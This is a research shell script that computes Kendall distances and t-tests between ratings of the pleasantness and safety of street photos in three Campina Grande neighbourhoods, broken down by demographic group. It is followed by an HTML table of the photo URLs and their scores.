grep $photo agradGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Adulto x Geral Agrad" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
echo " Jov x Adu Seg" >> kendall.dat
grep "seg" firsJovemOrdInter.dat > ranking1.dat
grep "seg" firsAdultoOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Jovem x Geral Seg" >> kendall.dat
awk '{print $2}' ranking1.dat > temp.dat
rm ranking3.dat
while read photo ; do
grep $photo segGeral.dat >> ranking3.dat
done < temp.dat
sort -k 3 -r ranking3.dat > ranking3Ord.dat
Rscript kendallDistance.R ranking1.dat ranking3Ord.dat >> kendall.dat
echo " Adulto x Geral Seg" >> kendall.dat
Rscript kendallDistance.R ranking2.dat ranking3Ord.dat >> kendall.dat
#Centro e Not Centro
echo " Centro x Not Centro Agrad" >> kendall.dat
grep "agrad" firsCentroOrdInter.dat > ranking1.dat
grep "agrad" firsNotCentroOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Centro x Not Centro Seg" >> kendall.dat
grep "seg" firsCentroOrdInter.dat > ranking1.dat
grep "seg" firsNotCentroOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
#Catole e Not Catole
echo " Catole x Not Catole Agrad" >> kendall.dat
grep "agrad" firsCatoleOrdInter.dat > ranking1.dat
grep "agrad" firsNotCatoleOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Catole x Not Catole Seg" >> kendall.dat
grep "seg" firsCatoleOrdInter.dat > ranking1.dat
grep "seg" firsNotCatoleOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
#Liberdade e Not Liberdade
echo " Liberdade x Not Liberdade Agrad" >> kendall.dat
grep "agrad" firsLiberdadeOrdInter.dat > ranking1.dat
grep "agrad" firsNotLiberdadeOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
echo " Liberdade x Not Liberdade Agrad" >> kendall.dat
grep "seg" firsLiberdadeOrdInter.dat > ranking1.dat
grep "seg" firsNotLiberdadeOrdInter.dat > ranking2.dat
Rscript kendallDistance.R ranking1.dat ranking2.dat >> kendall.dat
rm ranking1.dat ranking2.dat ranking3.dat ranking3Ord.dat temp.dat agradGeral.dat segGeral.dat
mv kendall.dat correlacao/
#Analisa QScore por Bairro
rm -f bairro.dat
echo ">>>>>>>> Geral" >> bairro.dat
python analisaQScorePorBairro.py first_vote_ordenado.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Ger" "Centro Agra Ger" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Ger" "Centro Agra Ger" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Ger" "Liberdade Agra Ger" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Ger" "Centro Seg Ger" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Ger" "Centro Seg Ger" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Ger" "Liberdade Seg Ger" "red" >> bairro.dat
echo ">>>>>>>> Jovem" >> bairro.dat
python analisaQScorePorBairro.py firsJovemOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Jov" "Centro Agra Jov" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Jov" "Centro Agra Jov" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Jov" "Liberdade Agra Jov" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Jov" "Centro Seg Jov" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Jov" "Centro Seg Jov" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Jov" "Liberdade Seg Jov" "red" >> bairro.dat
echo ">>>>>>> Adulto" >> bairro.dat
python analisaQScorePorBairro.py firsAdultoOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Adu" "Centro Agra Adu" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Adu" "Centro Agra Adu" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Adu" "Liberdade Agra Adu" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Adu" "Centro Seg Adu" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg" "Centro Seg Adu" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Adu" "Liberdade Seg Adu" "red" >> bairro.dat
echo ">>>>>>>>>> Baixa" >> bairro.dat
python analisaQScorePorBairro.py firsBaixaOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Bai" "Centro Agra Bai" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Bai" "Centro Agra Bai" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Bai" "Liberdade Agra Bai" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Bai" "Centro Seg Bai" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Bai" "Centro Seg Bai" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Bai" "Liberdade Seg Bai" "red" >> bairro.dat
echo ">>>>>>>>>> Media" >> bairro.dat
python analisaQScorePorBairro.py firsMediaOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Med" "Centro Agra Med" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Med" "Centro Agra Med" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Med" "Liberdade Agra Med" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Med" "Centro Seg Med" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Med" "Centro Seg Med" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Med" "Liberdade Seg Med" "red" >> bairro.dat
echo ">>>>>>>>>> Fem" >> bairro.dat
python analisaQScorePorBairro.py firsFemininoOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Fem" "Centro Agra Fem" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Fem" "Centro Agra Fem" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Fem" "Liberdade Agra Fem" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Fem" "Centro Seg Fem" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Fem" "Centro Seg Fem" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Fem" "Liberdade Seg Fem" "red" >> bairro.dat
echo ">>>>>>>>> Masc" >> bairro.dat
python analisaQScorePorBairro.py firsMasculinoOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Mas" "Centro Agra Mas" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Mas" "Centro Agra Mas" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Mas" "Liberdade Agra Mas" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Mas" "Centro Seg Mas" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Mas" "Centro Seg Mas" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Mas" "Liberdade Seg Mas" "red" >> bairro.dat
echo ">>>>>>>>>>>> Casado" >> bairro.dat
python analisaQScorePorBairro.py firsCasadoOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Cas" "Centro Agra Cas" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Cas" "Centro Agra Cas" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Cas" "Liberdade Agra Cas" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Cas" "Centro Seg Cas" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Cas" "Centro Seg Cas" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Cas" "Liberdade Seg Cas" "red" >> bairro.dat
echo ">>>>>>>>>>>>>> Solteiro" >> bairro.dat
python analisaQScorePorBairro.py firsSolteiroOrdInter.dat > temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
grep "catole" temp.dat | grep "seg" > catole.dat
grep "centro" temp.dat | grep "seg" > centro.dat
grep "liberdade" temp.dat | grep "seg" > liberdade.dat
echo "Seg Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Seg Sol" "Centro Seg Sol" "red" >> bairro.dat
echo "Seg Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Seg Sol" "Centro Seg Sol" "red" >> bairro.dat
echo "Seg Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Seg Sol" "Liberdade Seg Sol" "red" >> bairro.dat
echo ">>>>>>>>>>>>>> Conhece" >> bairro.dat
python analisaQScorePorBairro.py firsCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py firsCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py firsLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
echo ">>>>>>>>>>>>>> Não Conhece" >> bairro.dat
python analisaQScorePorBairro.py firsNotCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py firsNotCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py firsNotLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catole.dat
grep "centro" temp.dat | grep "agra" > centro.dat
grep "liberdade" temp.dat | grep "agra" > liberdade.dat
echo "Agra Cat x Centro" >> bairro.dat
Rscript calculaTTest.R catole.dat centro.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairro.dat
echo "Agra Lib x Centro" >> bairro.dat
Rscript calculaTTest.R liberdade.dat centro.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairro.dat
echo "Agra Cat x Liberdade" >> bairro.dat
Rscript calculaTTest.R catole.dat liberdade.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairro.dat
rm temp.dat liberdade.dat catole.dat centro.dat
<file_sep><body style="overflow:scroll">
<h2>Agradavel "V3.Casado" "V3.Solteiro"</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Edesio_Silva__602__0.jpg 1.88784870352 5.84332226454 -3.860417597651</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>centro/Rua_Manoel_P._de_Araujo__370_0.jpg 5.93041274478 1.86668761439 3.74738871488558</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg" width="400" height="300"></td>
<td>centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg 1.76326959154 5.50293565357 -3.67982390881535</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>centro/Rua_Quebra_Quilos__399__90.jpg 7.82850084827 5.20575334645 2.65184543359088</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Severino_Pimentel__439__180.jpg 7.69779630893 5.20994262288 2.51738500850117</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Odon_Bezerra__388__270.jpg 2.41704598139 4.69090608024 -2.29802434986341</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg" width="400" height="300"></td>
<td>centro/Avenida_Barao_Rio_Branco__141_90.jpg 7.50692203459 5.32326189811 2.22491460936122</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>centro/Rua_Felix_Araujo__48__270.jpg 2.41374902477 4.44613174315 -2.08186946081686</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Odon_Bezerra__147_90.jpg 2.79948164925 4.8007102861 -2.01403337977851</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 7.35867579997 5.44751054404 1.9652735488168</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 3.51862358556 5.50457664198 -1.92594113902405</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>centro/Rua_Elias_Aforas__67__180.jpg 7.33675650692 5.50344209196 1.89320896043905</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 5.47726062543 3.5465866531 1.78812713585468</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg" width="400" height="300"></td>
<td>catole/Rua_Olegario_Mariano__139_90.jpg 7.54574451733 5.88094613998 1.76374662074506</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Riachuelo__455__0.jpg 2.05512303639 3.66528340417 -1.74042774107019</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Sergipe__1337_90.jpg 1.88758735528 3.34408825682 -1.61999668210817</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>catole/Rua_Doutor_Antonio_Telha__68__270.jpg 2.26943177222 3.72361344455 -1.57841466323839</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg" width="400" height="300"></td>
<td>catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg 5.72251641099 4.06349372339 1.56995112557441</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 2.22654376889 3.65184802053 -1.55696154754642</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>centro/Avenida_Barao_Rio_Branco__141_270.jpg 7.1711081821 5.76314985745 1.49472026048708</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 4.01642716043 5.56043870539 -1.47822056331078</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg 6.54302518139 5.08271849731 1.47667636603036</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg" width="400" height="300"></td>
<td>catole/Rua_Vigario_Calixto__1201_180.jpg 4.23651897895 5.80373623451 -1.47625656180888</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 5.28928817146 3.69050337169 1.47112649252332</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg" width="400" height="300"></td>
<td>catole/Rua_Joao_Francisco_Mota__64__270.jpg 6.90991131585 5.5231411576 1.44870261925013</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg" width="400" height="300"></td>
<td>centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg 5.97453697418 4.53388314748 1.40024517721177</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 4.70311467681 6.16456818605 -1.33316388588455</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>centro/Rua_Augusto_Severo__71_0.jpg 4.83072281672 3.34434811951 1.3229058000595</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg" width="400" height="300"></td>
<td>centro/Avenida_Dom_Pedro_II__500_270.jpg 4.30320586141 5.66853031818 -1.28835113889075</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg" width="400" height="300"></td>
<td>centro/Rua_Felix_Araujo__48__90.jpg 4.75391066595 3.31613598507 1.27138717085166</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>centro/Rua_Quebra_Quilos__399__270.jpg 6.95893127968 5.7813697282 1.26620837658402</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>centro/Rua_Elias_Aforas__202_0.jpg 3.09523809524 4.27248341332 -1.24469639613755</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Edesio_Silva__602__180.jpg 2.03762949976 3.0740351209 -1.22783904541506</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Riachuelo__847__180.jpg 6.52720063299 5.36913563481 1.20406521899362</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>centro/Rua_Augusto_Severo__71_90.jpg 3.31119218732 4.46607730899 -1.2023084475497</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>catole/Rua_Honorio_de_Melo__240__270.jpg 4.56951329115 5.83546864028 -1.17171186200067</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 7.5 6.55146152685 1.11685313924755</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 3.25838876878 4.26318443228 -1.07320874341784</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>catole/Rua_Otacilio_Nepomuceno__76_90.jpg 5.56376231529 6.83305603039 -1.0718474231729</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Severino_Pimentel__321__0.jpg 3.69058186539 4.74067201395 -1.06910599453825</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>centro/Rua_Felix_Araujo__132__90.jpg 1.96059078685 2.77442106992 -1.03625949851534</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>centro/Rua_Elias_Aforas__67__0.jpg 5.92697176017 4.91645657044 1.00968467713683</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg" width="400" height="300"></td>
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<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Santa_Catarina__1231__180.jpg 3.34201062595 4.17647172741 -0.911844818379575</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg 4.66652540859 5.63596321892 -0.89583363686966</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Riachuelo__930__0.jpg 6.16424369236 5.30820832067 0.895732515930696</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 8.03838897887 7.40226175396 0.892459212227551</td>
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<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 3.56300998886 4.37508501334 -0.86891172127754</td>
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<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
